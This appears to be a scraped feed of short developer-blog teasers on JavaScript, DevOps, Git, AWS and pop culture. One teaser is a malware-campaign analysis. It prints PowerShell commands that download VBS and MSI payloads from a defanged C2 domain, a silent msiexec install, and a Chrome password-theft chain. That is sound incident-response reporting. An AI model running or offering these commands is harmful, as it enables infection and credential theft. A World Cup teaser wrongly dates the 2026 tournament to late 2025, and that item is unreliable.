    The task is to implement Object.create() The boilerplate code function myObjectCreate(proto) { // your code here } If the prototype is null or not an object, throw an error if(proto === null || typeof !== "object") { throw new TypeError("Prototype must be an object or null") } An empty constructor function is declared, because every object in Javascript is created using a constructor. function F() {} The prototype of the empty constructor is set to the one provided F.prototype = proto Then, a new instance is returned return new F() The final code function myObjectCreate(proto) { // your code here if(proto === null || typeof proto !== "object") { throw new TypeError("Prototype must be object or null") } function F() {} F.prototype = proto; return new F; } That's all folks!  ( 6 min )
    San Diego Pilot Pitch [1]
    Check out this Pen I made!  ( 5 min )
    San Diego Pilot Pitch [1]
    Check out this Pen I made!  ( 5 min )
    Winning Ways: Expert Analysis for a World Cup Champion
    As we inch closer to the highly anticipated FIFA World Cup 2026, football enthusiasts worldwide are eager to know more about the tournament's schedule. Following the news that highlighted key dates for UEFA qualifiers, let's dive into the intricacies of what to expect from the world's most prestigious international football event. The World Cup is set to take place in the United States, Canada, and Mexico from November 2025 through December 2025. The tournament will feature a revamped format with 48 teams competing for the coveted title. The initial stage consists of eight groups of six teams each, making it an exciting and unpredictable start to the competition. Qualifiers: March to June 2024 - UEFA, CONMEBOL, CAF, AFC, and CONCACAF will conclude their qualifying matches. Draw: April 2025…  ( 7 min )
    How Movie Posters Reflect Cultural Shifts Through Decades
    Movie posters have long been more than mere marketing tools; they are visual snapshots of the cultural and societal moods of their times. From the roaring 1920s to the digital age of the 21st century, the design, themes, and imagery of movie posters have mirrored the changing tastes, concerns, and aspirations of society. Collectors and enthusiasts who cherish framed vintage movie posters often recognize that each piece tells a story not only about the film it advertises but also about the era in which it was created. The earliest movie posters emerged alongside the rise of cinema as a popular entertainment medium in the 1920s. During this period, posters were often hand-painted, featuring dramatic illustrations and bold typography. They emphasized spectacle and star power, reflecting socie…  ( 10 min )
    What happens when your cluster runs out of CPU? — The unsolved DevOps paradox
    🧩 What happens when your cluster runs out of CPU? — The unsolved DevOps paradox The cluster scales pods up and down automatically — until one day, the cluster itself runs out of capacity. 😅 That’s when I started wondering: 💭 If the cluster’s total CPU resources hit the ceiling — what’s really the right move? Should we just offload the pain to a managed cloud provider like AWS EKS or GKE and “dust our hands off”? And at large scale, this becomes a real DevOps riddle — one that teams still debate every day. 🧠 The Thought Behind It When CPU usage spikes across all nodes: Pods start pending 💤 Rely on cloud-managed autoscaling (e.g. GKE, EKS, AKS)? It’s where operations meets mathematics: balancing resources, latency, and cost in an infinite scaling loop. So what do you think? If you hit 100% CPU cluster-wide — what’s your next move?  ( 7 min )
    ZipperOS: A Community-Driven Linux OS Designed by Users, for Users
    Hey everyone! 👋 I’m excited to share ZipperOS, a modern Linux distribution I’ve been developing. It’s built to evolve based on user feedback — the community helps decide what features get added next. What’s available now: Download the latest ISO and try ZipperOS today: Archive.org ISO Explore the ZipperOS Fandom page zipperos.bettermode.io Full documentation and guides on the official site Why ZipperOS? I’d love feedback, ideas, and thoughts on what people want from a Linux OS! — Wolfie  ( 6 min )
    The Bug That Taught Me Everything
    It was 2 AM on a Tuesday, and I was convinced our production database was haunted. Users were reporting that their shopping carts would randomly empty—not all the time, just sometimes. The logs showed nothing. The code looked fine. I'd been staring at the same function for three hours, adding print statements like breadcrumbs, trying to find where the data disappeared. My coffee had gone cold. My eyes burned. And then, in a moment of desperate frustration, I did something I should have done hours earlier: I actually read the error message. Not skimmed it. Not assumed I knew what it meant. Actually read it, word by word. "Race condition in concurrent write operation." Five words that changed everything. The bug wasn't in the code I was looking at—it was in how two pieces of code were talking to each other when users clicked too fast. The solution took ten minutes to implement. The lesson took all night to learn: sometimes the answer isn't hidden in complexity; it's sitting right there in plain text, waiting for you to stop assuming and start listening.  ( 6 min )
    Python by Structure: Generator Delegation with Yield From
    Timothy was studying a function that traversed a nested directory structure, and his forehead was creased with confusion. "Margaret, I'm trying to understand this code. It has yield from in it, and I can't figure out what it's doing differently than just yield." Margaret looked over his shoulder at the screen. "Ah, generator delegation. This is one of Python's more elegant features, but it's subtle. Let me show you why it exists and what the structure reveals." Timothy's code was attempting to flatten a nested list structure: def flatten(items): result = [] for item in items: if isinstance(item, list): for sub_item in flatten(item): result.append(sub_item) else: result.append(item) return result "This works," Timothy said…  ( 8 min )
    Ng-News 25/45: Analog v2, Debouncing in SignalForms, Testing & Time
    Analog.js 2.0 brings Angular even closer to the Vite ecosystem. And we also get debouncing in Signal Forms and fresh testing guidance from Andrew Scott. ⚙️ Analog.js 2.0 Analog.js was created by Brandon Roberts as a meta-framework for Angular and was released in version 2.0. A meta-framework extends a frontend framework with backend capabilities, like running data-fetching and processing on the server. Apart from being a meta-framework, what really makes Analog stand out is its integration of Angular into Vite. React, Vue, Svelte and many others have a Vite build plugin, which means Vite actually builds the application. Angular does not integrate into Vite as a plugin. It has its own build system. Angular’s build system uses the Vite dev server and - like Vite - esbui…  ( 8 min )
    Understanding Hermes, Fabric, and the New Architecture in React Native
    🚀 Understanding Hermes, Fabric, and the New Architecture in React Native If you've been building React Native apps for a while, chances are you've heard terms like Hermes, TurboModules, and Fabric floating around. When I recently upgraded from an older React Native project to v0.80.2, I realized these weren't just buzzwords—they're a fundamental shift in how React Native works under the hood. This guide will demystify these technologies and show you why they matter for your next React Native project. The Evolution of React Native Hermes: The JavaScript Engine Built for Mobile The New Architecture: Beyond the Bridge TurboModules: Native Modules, Supercharged Fabric: Modern UI for Modern React Migration Guide Performance Comparisons Conclusion Before diving into the new technologies, let'…  ( 9 min )
    The Data Analytics Lifecycle
    The data analytics lifecycle is a series of steps to transform raw data into valuable and easily consumable data products. These can range from well-managed datasets to dashboards, reports, APIs, or even web applications. In other words, it describes how data is created, collected, processed, used, and analyzed to achieve a specific product or business goal. The increasing complexity in organizational dynamics directly impacts how data is handled. Numerous people must use the same data but with different goals. While a top executive might need to know just a few top-level key performance indicators to track business performance, a middle manager might need a more granular report to support daily decisions. This highlights the need for a governed and standardized approach to creating and ma…  ( 8 min )
    Linux for DevOps - The Complete Hands-On Beginner-to-Advanced Guide (Week 1 Series)
    Linux for DevOps — Part 1 https://www.linkedin.com/in/ashish360/ https://devopswithashish.hashnode.dev/linux-for-devops-the-complete-hands-on-beginner-to-advanced-guide-week-1-series Introduction + Filesystem & Directory Commands 🚀Why Linux Matters in DevOps The more I explored Linux this week, the clearer it became why every DevOps engineer, cloud engineer, SRE, and backend developer depends on Linux daily. Linux is the foundation of DevOps, because it is: 🟦 Cost-Effective Free and open-source No licensing fees Low maintenance and predictable performance 🟦 High Performance Lightweight and fast Works on everything from Raspberry Pi to enterprise servers Efficient memory and process management 🟦 Secure & Reliable Strong permission system Very limited malware exposure Systems can run for…  ( 29 min )
    Why Your Internet Speed Test Lies
    Speedtest.net vs Fast.com in real life Your speed test says 400 Mbps. YouTube still buffers. Nothing feels more cursed than that. That happened on my home fiber line. Speedtest.net proudly showed more than 418 Mbps down, but YouTube sessions still dropped quality or paused to buffer. The numbers looked great, the experience did not. The trick is simple: speed tests often measure the best case, while streaming exposes the real case. Speedtest.net is built to show what your connection can do when everything is aligned in its favor. It talks to dedicated, well peered servers and opens several parallel TCP connections to push your link as hard as possible. The result is a nice high number that represents peak capacity, not necessarily what you get for every service. Fast.com, from Netf…  ( 9 min )
    N+1 query in databases
    Table of content What is N+1 query The N+1 query problem is a database anti-performance pattern, where an application executes one query to fetch a list of items (N items in 1 query) and then makes N additional individual queries to fetch related data for each item in that list(N number of queries). So, in total you are making 101 queries, 1 query to get the list and 100 query to get names of authors. This results in N+1 queries for what should ideally be a single efficient or a few queries. Imagine you go to a library and you ask the librarian to give you a list 100 books of your favorite genre. The librarian gives you the list of 100 books(this is 1 query). Now you have your list, but you don't know author's name of those 100 books. To know the name of those authors you again go to the…  ( 7 min )
    Building RSSRenaissance: AI-Powered Summaries for Smarter Reading
    Building RSSRenaissance: AI-Powered Summaries for Smarter Reading When I set out to build RSSRenaissance, my goal was simple: create a tool that helps users stay informed without drowning in endless articles. With the sheer volume of tech, news, and educational content available online, I wanted a solution that could fetch feeds, summarize content, and deliver actionable insights instantly. Inspiration I was inspired by the challenge of managing information efficiently. As a developer and someone who constantly explores new tech trends, I realized that even curated feeds can be overwhelming. I wanted a platform that doesn’t just deliver content but distills it intelligently. What RSSRenaissance Does Fetches RSS feeds from multiple sources like TechCrunch, The Verge, and Ars Technica. Proce…  ( 7 min )
    I Built 20+ Free Developer Tools as a Solo Dev - Here’s How (and Why)
    As developers, we all jump between multiple small tools daily—JSON formatter, CSS gradient generator, cron builder, QR generator, image compressor, boilerplate generator, and so on. But the experience is always the same: Too many ads I got tired of it. So I built Jaconir - a free, fast, no-login productivity hub with 20+ tools for developers, designers, and students. 👉 https://jaconir.online/tools This post explains how I built it, what tools it includes, and why I created it. 🎯 Why I Built Jaconir I’m a developer + designer + indie game creator. I didn’t want: ads I just wanted simple tools that work instantly. So I built them myself. 🛠️ Tools I Built (So Far) JSON Formatter Full list: https://jaconir.online/tools All tools are: fast 📘 Learning: DSA + System Design I also built free learning hubs for students: 🚀 DSA Learning Hub https://jaconir.online/learn/dsa 🔥 System Design (Work in Progress) https://jaconir.online/learn/system-design Each page has: simple explanations 🎨 Resources for Designers & Devs Jaconir also includes: 👉 https://jaconir.online/resources Everything is free to download and use. ⚙️ Tech Stack HTML, CSS, JavaScript 🚀 What I’m Building Next Here’s what I’m adding next: Regex builder ❤️ Why I’m Sharing This The internet is filled with heavy tools, ads, and login walls. If you want to try the tools, here you go: 👉 https://jaconir.online/tools If you have suggestions, I’d love to hear them 🙏  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Rewatch Bill Simmons, Sean Fennessey, and Van Lathan dive headfirst into Brian De Palma’s neon-soaked conspiracy thriller, unpacking the film’s iconic one-take shots, Nic Cage’s smoldering intensity, and the shadowy corruption at the heart of this late-’90s gem. Podcast Lowdown Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is brought to you by PayPal’s holiday deal (5% cash back when you Pay in 4 through 12/31). Don’t forget to subscribe to The Ringer’s YouTube channels and follow on Twitter, Facebook, and Instagram for more movie madness. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less CinemaSins takes on the latest dino-resurrection in a bite-sized 17-minute roast, pointing out all the plot sins of Jurassic World Rebirth. Alongside the video, they’re hyping up their main site (cinemasins.com) and various YouTube channels—TV Sins, Commercial Sins and the CinemaSins Podcast Network. They’re also pushing a Linktree for fresh updates, a quick sinful poll, and a Patreon for backers. You can connect with the writers on Twitter and Instagram, join the Discord or Reddit communities, and catch extra content on TikTok and Jeremy’s new book. Watch on YouTube  ( 6 min )
    The Big Bulls
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    The fastest and easiest way to setup React with Bulma and Vite.
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    AI Agents: From Zero to Hero in 5-Days With Kaggle and Google
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    Your AWS or GCP root account has unlimited access: billing changes, account closure, unrestricted resource modification. A compromised root account doesn't just mean a data breach—it means potential business extinction. Yet the question of how to secure it with multi-factor authentication remains surprisingly contentious: physical YubiKeys or virtual authenticator apps? This decision matters more than most security choices because root accounts sit outside normal guardrails. You can't delegate root account access to IAM roles, you can't easily test disaster recovery, and mistakes are catastrophic. The traditional security playbook says "use hardware MFA"—but that advice predates the reality of distributed teams, remote-first companies, and the operational complexity of managing physical de…  ( 10 min )
    Recently, while browsing through GitHub, I stumbled upon a repository that’s rapidly gaining momentum — a toolkit powerful enough to help you build entire systems. You probably know it already: TanStack. How are you fetching data ?
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    volta
    Initial Access & Delivery Chain Summary Threat actors leveraged WhatsApp as the initial access channel, sending messages to multiple employees within the organization to build trust before sharing a malicious ZIP file. Since ZIP files cannot be opened on mobile devices, users were compelled to access the archive on their endpoints, where they were deceived into executing an embedded VBScript payload. Execution of the VBScript initiated a multi-stage payload delivery mechanism, where it: Downloaded a secondary VBScript and an MSI installer from a remote C2 server (varegjopeaks[.]com) and saved them to the temporary directory. Executed the MSI file silently via msiexec.exe, which dropped an additional VBS script named “installer”. Created persistence by adding the installer script to the Run registry key. Downloaded a specific Python environment and executed a PowerShell script that profiled the installed Chrome version and downloaded the official Chrome test automation driver. Accessed and exfiltrated credentials stored in the Chrome password vault, continuously harvesting newly saved passwords due to the established persistence. Observed Malicious Execution Activity WScript Executions "wscript.exe" C:\Users*\AppData\Local\Temp\baixa_sscado.vbs "WScript.exe" C:\Users*\AppData\Local\Temp**.zip.0e6*.vbs "wscript.exe" C:\Users*\AppData\Local\Temp\installer.vbs PowerShell Download Activity "powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/baixa_sscado.vbs' -OutFile $env:TEMP\baixa_sscado.vbs -UseBasicParsing" "powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/teste_obscado.vbs' -OutFile $env:TEMP\installer.vbs -UseBasicParsing" "powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/installer.msi' -OutFile $env:TEMP\installer.msi -UseBasicParsing" Msiexec Execution "msiexec.exe" /i C:\Users*\AppData\Local\Temp\installer.msi /quiet /norestart  ( 6 min )
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    Table of Contents Introduction Understanding the Android Ads SDK Landscape. Architectural Foundations for Your SDK. Performance Optimization Techniques. Balancing Monetization and User Experience. Technical Implementation Details. Testing and Monitoring. Future-Proofing Your SDK Conclusion. Introduction: Understanding the Android Ads SDK Landscape The Current State of Mobile Advertising: The mobile advertising ecosystem has matured significantly over the past decade. Today, developers have access to multiple monetization models: Cost Per Mille (CPM) for impressions, Cost Per Click (CPC) for user interactions, and Cost Per Install (CPI) for app downloads. This diversity offers flexibility but also introduces complexity when deciding which models your SDK should support. The shift toward pro…  ( 19 min )
    Create new Database in Postgres
    Pre-requisites You have PostgreSQL installed in your system. You have root privileges Logging into psql as root Open your terminal and Enter the following commands - sudo -i -u postgres psql and press enter. You have entered the psql terminal. First, you need to have a user with which you will login to the database. CREATE USER new_username WITH ENCRYPTED PASSWORD 'your_secure_password'; CREATE DATABASE database_name; GRANT ALL PRIVILEGES ON DATABASE database_name TO new_username; \q to exit the psql terminal and exit the postgres session. Run the below command to verify whether you are able to login to the database - psql -U test_user my_blog_db_test psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432" failed: FATAL: Peer authentication failed for user "test_user" This error arises because postgres is set to use peer authentication by default. We need to change this to md5 in /etc/postgresql/14/main/pg_hba.conf Open /etc/postgresql/14/main/pg_hba.conf in the editor of your choice. Search for local all postgres peer in the file Add this line below the postgres config - local all test_user md5 Restart the postgres service. sudo systemctl restart postgresql Login to postgres - psql -U test_user my_blog_db_test and enter the password when prompted. Congratulations! You have successfully created your database.  ( 6 min )
    Building Resilient Identity Security in Modern Hybrid Environments
    In today’s distributed IT landscape, identity has become the foundation of enterprise security. With organizations relying on a mix of on-premises systems, cloud platforms, SaaS applications, and mobile devices, identity data now moves and changes constantly. Protecting this dynamic environment requires more than periodic checks—it demands a proactive, well-structured approach to continuous identity governance and threat awareness. Modern infrastructures include multiple interconnected identity sources that evolve independently yet influence each other. Administrators rotate, automation updates accounts, external partners gain temporary access, and new cloud services introduce fresh permission models. Even a single misconfiguration—such as an overly permissive role, a reactivated dormant u…  ( 7 min )
    Git Force Push: Bypassing Repository Protection Rules
    Git Force Push: Bypassing Repository Protection Rules When you encounter repository rule violations while pushing code, here's how to override these restrictions safely. Method 1: Temporary Rule Disable Navigate to your repository's settings panel Locate the branch protection section Temporarily disable the following safeguards: Mandatory review requirements Status verification checks Administrator inclusion rules Execute your push command with force flags Immediately restore all protection rules Method 2: Safer Force Alternatives # Preferred method - verifies remote state git push target-repository primary-branch --force-with-lease # Standard force override (use cautiously) git push target-repository primary-branch --force Method 3: Token Authentication Bypass When standard authentication fails: Generate dedicated access credentials Incorporate them into your repository URL Execute the push command with necessary flags ⚠️ Critical Considerations Collaboration Impact: Rewriting history can disrupt team workflows Data Integrity: Potential for irreversible code loss Best Practice: Always use feature branches for significant changes Emergency Use: Reserve these methods for genuine emergencies Recommended Workflow For team projects, prefer this approach: git checkout -b feature-description git push target-repository feature-description # Initiate merge request through web interface Remember: With great power comes great responsibility. Use these methods judiciously and always communicate with your team before overriding repository protections.  ( 6 min )
    Get Good Git Ninja, don't Get Got (눈_눈) O=('-'Q)
    🔥 Git as Naruto Jutsu --- Ultimate Cheat Sheet No Pain No Gain git pull → Banshō Ten'in (Universal Pull) Pulls all remote changes toward you --- sometimes dragging you into git push → Shinra Tensei (Almighty Push) Blast your commits to the remote. Errors? Cooldown needed. git add → Summoning Jutsu Select which files you want to bring into the next commit. git commit → Chibaku Tensei (Planetary Devastation) Seal all your changes into one perfect sphere (commit). git merge → Edo Tensei Bring two branches back together. Sometimes peaceful, sometimes chaotic. git push -f → Revival of the Outer Path Overwrite history. Forbidden technique. Use carefully. git stash → Flying Thunder God Technique Teleport your work away instantly and return to a clean slate. git branch → Shadow Clone Jutsu Split into multiple versions for experimentation. git rebase → Infinite Tsukuyomi Rewrite history like it never happened. git revert → Izanagi / Izanami Undo destruction and restore order --- at the cost of one commit eye. Local repo = Nagato's real body Remote repo = Origin of Pain Commit chain = Six Paths Merge conflicts = chakra overload  ( 6 min )
    GitHub Push Protection: How I Fixed the "Repository Rule Violations" Error
    Photo by @flyd2069 on Unsplash It was a typical Tuesday afternoon. I was working on my PayStack Complete API project, making some final tweaks before pushing to GitHub. I ran the usual commands: git add . git commit -m "Updated environment configuration" git push -u origin main And then it happened - the dreaded red text: remote: error: GH013: Repository rule violations found for refs/heads/main. remote: - GITHUB PUSH PROTECTION remote: ————————————————————————————————————————— remote: Resolve the following violations before pushing again remote: - Push cannot contain secrets My heart sank. GitHub had detected a Stripe API Key in my commit history and blocked the push. The violation was clear: Secret Type: Stripe API Key Location: Commit 47b22e5f1d4a9bc6...... File: .env:6 …  ( 8 min )
    Part 3: From Neural Networks to Autonomous Coffee Roasting - Orchestrating MCP Servers with .NET Aspire and n8n Agents
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    Building a Fully-Featured Custom WebView App in Android: Complete Guide
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    Why LogLayer is the Logging Abstraction Framework for TypeScript
    Logging is one of those fundamental concerns that every application must address, yet it's often treated as an afterthought. In the JavaScript and TypeScript ecosystem, developers face a bewildering array of logging libraries: Pino, Winston, Bunyan, and countless others. Each library has its own API, quirks, and conventions. This fragmentation creates real problems: inconsistent codebases, vendor lock-in, and the constant need to rewrite logging code when requirements change. LogLayer solves these problems by providing a unified abstraction layer that sits on top of any logging library while offering a consistent, fluent API that makes logging both powerful and pleasant to use. Before diving into LogLayer's solutions, let's examine the problems it addresses. Most logging libraries share a …  ( 10 min )
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    Syntax Trap #002
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    Untitled
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    Por que usar Softmax com Categorical Cross-Entropy para o problema da flor íris?
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    Installing and Loading Plotly in R
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    Real-Time Multi-Platform Price Scraper (Amazon, Temu, eBay, Walmart) Open Source Python Tool
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    Deploying a Web Server VM and Installing IIS on Windows
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    Learn Windows CLI Hands-on
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    Toon: A Lightweight Data Format That Helps Cut LLM Token Costs
    When working with LLMs, even small details—like how you format your data—can add up to noticeable differences in cost and performance. One of the new formats people have been experimenting with is called Toon(Token-Oriented Object Notation), and it’s gaining attention because of how compact it is. It conveys structured information like JSON or XML, but with fewer characters, which usually means fewer tokens. This doesn’t replace established formats. JSON and XML are excellent for APIs, external integrations, and strict data handling. Toon simply offers a lighter alternative specifically for situations where data is being processed inside an LLM prompt or response, where size matters more than strict formal structure. Below, I’ll walk through what Toon looks like, how to write it, how to cr…  ( 10 min )
    [Apache Iceberg] Iceberg Performance: The Hidden Cost of NULLS FIRST
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    Master the Shadowing Technique: Transform Your English Fluency in 30 Days
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    🏋️ Narwade's Health Club: A Full-Stack Fitness Platform
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    When Static Sites Stop Scaling: Migrating FreeDevTools (125K+ Pages) from Static Astro to SSR
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    Rediscovering the Joy of Coding — Writing My First Real Program in Pascal
    Rediscovering the Joy of Coding --- Writing My First Real Program in Pascal There's something magical about going back to the roots. Hey everyone, Bek here ! As a programmer, I've spent years bouncing between Python, Rust, Go, C#, So I did something unexpected. I went back to Pascal. Pascal feels like the programming equivalent of a freshly cleaned desk: The syntax is easy to memorize\ It's incredibly readable\ It forces you to think clearly\ And it gives you this warm, retro "I'm actually writing a program" feeling Writing Pascal makes me feel like a programmer again --- not just a Before diving into anything big, I wanted a simple project that still does something: a tiny health checker that calculates BMI and prints a It was such a small program... but writing it in Pascal was fun. No fighting the language.\ Just clean structure and pure logic. After the health checker, I decided to stretch Pascal a bit --- just I created a full Retro Journal System with: A fake boot sequence\ A menu\ A file-based journal\ Search functionality\ Statistics\ Retro green terminal vibes It's one of those tiny programs that reminds you why you started coding Final Thoughts This Pascal adventure reminded me of something important:\ Programming is supposed to be fun. Not stressful.\ Just fun. And Pascal --- with its simple structure and old-school charm --- If you've been feeling burned out or nostalgic, try writing a tiny Pascal program.\ You might surprise yourself.  ( 7 min )
    Why AI Alone Feels Like That One Friend Who Tells Great Stories but Never Brings Proof
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    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Rewatch Bill Simmons, Sean Fennessey, and Van Lathan dive into Brian De Palma’s thriller, breaking down Nic Cage’s carnival-barker swagger, Gary Sinise’s sinister shifts, and Carla Gugino’s scene-stealing moments—complete with their signature sewer-worthy banter. Episode Details Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo. Brought to you by PayPal’s Pay in 4 holiday deal (5% cash back!). Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    TL;DR CinemaSins just dropped a 17-minute roast of Jurassic World: Rebirth, tallying up every plot hole, cliché and “you’ve-gotta-be-kidding-me” moment as dinosaurs rise (again) and fans can’t look away. It’s everything you love—mildly sarcastic commentary, rapid-fire jabs and, of course, a final sin count that’ll make you chuckle. Want more? They’ve got your back with a full link tree (YouTube channels, website, polls and Patreon), plus a shout-out to their sinning squad of writers on Twitter and Instagram, a Discord server, Reddit community, TikTok and even a book by Jeremy. Enjoy the carnivorous fun! Watch on YouTube  ( 6 min )
    Introducing KurrentDB-Swift: Bringing Event Sourcing to Server-Side Swift
    Event Sourcing is transforming how we build modern applications. Companies like Uber, Netflix, and Amazon use it to build scalable, auditable systems. But if you're a Swift developer wanting to leverage this powerful pattern, you've been out of luck—until now. Today, I'm excited to share KurrentDB-Swift, a production-ready Swift client for Kurrent (formerly EventStoreDB) that brings enterprise-grade Event Sourcing capabilities to the Swift ecosystem. Before we dive in, here's what KurrentDB-Swift brings to the table: ⏱️ Over 1 year of active development 💪 425+ commits across 46 releases 📦 Available on Swift Package Index ✅ Zero data-race safety (Swift 6 ready) 📚 Comprehensive documentation with tutorials 🔧 Actively maintained (last update: 3 days ago) Server-Side Swift is maturing ra…  ( 11 min )
    Games: Biniax 2
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    Complete Machine Learning: Semester Exam Prep Guide
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    🎮 Understanding Linux Cgroups
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    When Big O Lies
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    Why Trust Matters More Than Any Tool in Technical Work
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    🧠 Detecting and Preventing Goroutine Leaks in Production (Leak Detection in Go)
    Goroutines are one of Go’s biggest superpowers — lightweight, fast, and easy to spin up. But with great power comes great responsibility. silently leak, grow in number over time, consume memory, and eventually bring down your service. Goroutine leaks are sneaky. They often don’t break your code immediately… slowly eat your system alive. In this guide, we’ll explore: What causes goroutine leaks Real-world patterns that accidentally leak How to debug them (pprof, trace, runtime APIs) How to prevent leaks using context cancellation and proper channel patterns Production-ready best practices Let’s dive in. 🚀 A goroutine leak happens when a goroutine never exits, usually because it is: blocked on a channel waiting on a select case that never fires stuck on I/O waiting for a context that is nev…  ( 9 min )
    Docker - Host–Container File Sharing : Named Volumes vs Bind Mounts, Behavior Differences, and Key Pitfalls
    When sharing files between a host and a Docker container, there are two main options: "named volumes" and "bind mounts". They look similar in docker-compose.yml, but their behavior is very different — and that difference can cause serious headaches if you don’t understand it. Let’s dig into what actually happens, using a real case I ran into. (Note: I’ll skip the basics of Docker and Docker Compose setup here.) Infrastructure: AWS EC2 Architecture: 64-bit ARM OS: Ubuntu Server 24.04 Docker: 28.1.1 Docker Compose: v2.35.1 Docker provides two ways to share files between the host and a container: Named Volumes Bind Mounts They look nearly identical in configuration, but behave differently when you start up your container. Let’s look at both. No "./" prefix: volu…  ( 9 min )
    Docker - Host–Container File Sharing : Named Volumes vs Bind Mounts, Behavior Differences, and Key Pitfalls
    When sharing files between a host and a Docker container, there are two main options: "named volumes" and "bind mounts". They look similar in docker-compose.yml, but their behavior is very different — and that difference can cause serious headaches if you don’t understand it. Let’s dig into what actually happens, using a real case I ran into. (Note: I’ll skip the basics of Docker and Docker Compose setup here.) Infrastructure: AWS EC2 Architecture: 64-bit ARM OS: Ubuntu Server 24.04 Docker: 28.1.1 Docker Compose: v2.35.1 Docker provides two ways to share files between the host and a container: Named Volumes Bind Mounts They look nearly identical in configuration, but behave differently when you start up your container. Let’s look at both. No "./" prefix: volu…  ( 9 min )
    Disaster and Emergency Response with TAK and AWS
    Speaker: Uriel Alonso @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=nhrC2V4KDPQ Disaster Exposure in the Philippines: The Philippines is one of the most disaster-prone countries, ranked as such for 16 consecutive years. Experiences an average of 20 tropical storms annually, along with floods, earthquakes, landslides, and volcanic events. These hazards overwhelm first responders due to scale, frequency, mass casualties, and communication challenges. Global Challenge: Disasters are not limited to the Philippines; they are a global issue affecting many countries. Solution: Reliable Communication During Disasters: Real-time situational maps. Drone feeds to locate victims, hazards, and damage. Disconnected operations for remote or offline…  ( 8 min )
    How to Cut AWS Costs and Maintain Reliability Without a FinOps Team
    Managing AWS costs can be overwhelming, especially for startups and development teams. Running resources 24/7, oversized instances, and lack of monitoring often lead to surprise bills. But what if you could optimize costs automatically while keeping your infrastructure reliable? In this post, I’ll walk you through a practical approach to solving seven common AWS cost problems using automation and best practices Runaway AWS Costs The Problem: Dev/test resources run continuously, and bills spiral out of control. Manual Cost Management The Problem: Tracking and stopping resources manually is error‑prone and time‑consuming. Lack of Cost Visibility The Problem: Teams only notice overspending when the bill arrives. Reliability vs Cost Trade-off The Problem: Cutting costs often sacrifices uptime…  ( 7 min )
    Disaster and Emergency Response with TAK and AWS
    Speaker: Uriel Alonso @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=nhrC2V4KDPQ Disaster Exposure in the Philippines: The Philippines is one of the most disaster-prone countries, ranked as such for 16 consecutive years. Experiences an average of 20 tropical storms annually, along with floods, earthquakes, landslides, and volcanic events. These hazards overwhelm first responders due to scale, frequency, mass casualties, and communication challenges. Global Challenge: Disasters are not limited to the Philippines; they are a global issue affecting many countries. Solution: Reliable Communication During Disasters: Real-time situational maps. Drone feeds to locate victims, hazards, and damage. Disconnected operations for remote or offline…  ( 8 min )
    A Free OpenAPI 3.2 Editor with Linting and Outline Support
    If you still rely on Swagger Editor to draft or review OpenAPI definitions, you have probably hit its limits. It is stuck on an old version of the spec, it cannot flag most design issues, and large files quickly turn into a scrolling marathon. OpenAPI 3.2 introduces structured tags, the QUERY method, improved XML modelling, clearer multipart rules and support for event streams. None of this is recognised in the legacy editor. So here is a replacement you can actually use today: DeveloperHub - API Editor The editor is fully free, no login required, and built specifically for modern OpenAPI work. Full 3.2 support Instant linting Document outline Zero setup If you maintain APIs, review specs in pull requests, or onboard teams to OpenAPI, this gives you a straightforward and up to date tool. It is also perfect for experimenting with new 3.2 features without fighting your editor. Give it a go and feel free to share it with your team: https://app.developerhub.io/api-editor  ( 6 min )
    More advanced use of console logging
    Logging values ​​to the console is an integral part of my daily work (and probably yours too). We can place all sorts of messages in the console: validating data, displaying information after a process has completed, or providing developer warnings are just some of the uses of the console object. All these operations and many more can be performed using only the methods available for this object. These include: console.log console.error console.debug console.info console.warn In this post, I'd like to present a more advanced way to manage logging in your application. This approach will bring order to your code and allow us to handle such a trivial operation with a separate module that we can modify as needed. In many projects, I've encountered the use of the no-console rule in ESlint, whic…  ( 8 min )
    Is React a good fit for the future of AI-generated UI?
    Recently I’ve been thinking about where frontend development is heading — especially now that AI-assisted UI generation and design-code workflows are becoming more realistic. React is one of the most popular frontend libraries, but its architecture raises an important question: Is React the right tool for a future where UI and logic could be handled by different roles? For example: designers (with help from AI tools) can generate the UI structure, while frontend developers can focus on the logic. Unlike frameworks such as Angular, Vue, Svelte, and others that separate markup (html) and logic (ts/js), React mixes markup, logic, state, and behavior all into the same block of code. That’s convenient for developers, but it can introduces challenges for design-to-code AI tools. Tools that generate only templates (HTML) and CSS can produce cleaner and more predictable output. But when markup and logic are tightly coupled, it becomes harder to: keep code clean track only logic or only template changes automate UI generation Is template, logic separation feels much more aligned with the direction automated UI generation heading? Designers or AI systems could generate clean templates, and developers could plug in the logic without responsibilities bleeding together. Could React’s architecture limit its effectiveness for future design-to-code workflows, generating messy code that’s difficult to maintain and forcing full-file reviews whenever designs change?  ( 6 min )
    Passing dynamic number of parameters to a reusable Github Actions workflow
    Source code The template-file action - contains the actual implementation of the templating. An example of how to call the action Github Actions are one of the best tools for building and publishing your systems (especially when your company already uses Github, and especially when you don't even have a choice, welcome to enterprise development). Github Actions have a concept of reusable workflows. Those allow you to expose / reuse parts of your actions to other parties, thus giving a possibility of creating a standardized flow. Github itself provides several reusable workflows, and you've probably already used them many times. One of them is a checkout action which allows you to check out a repo. Reusable workflows allow defining a set of input and output params. The above checkout act…  ( 8 min )
    I built an HTML PDF API for real-world web apps (SPAs, iframes, dashboards)
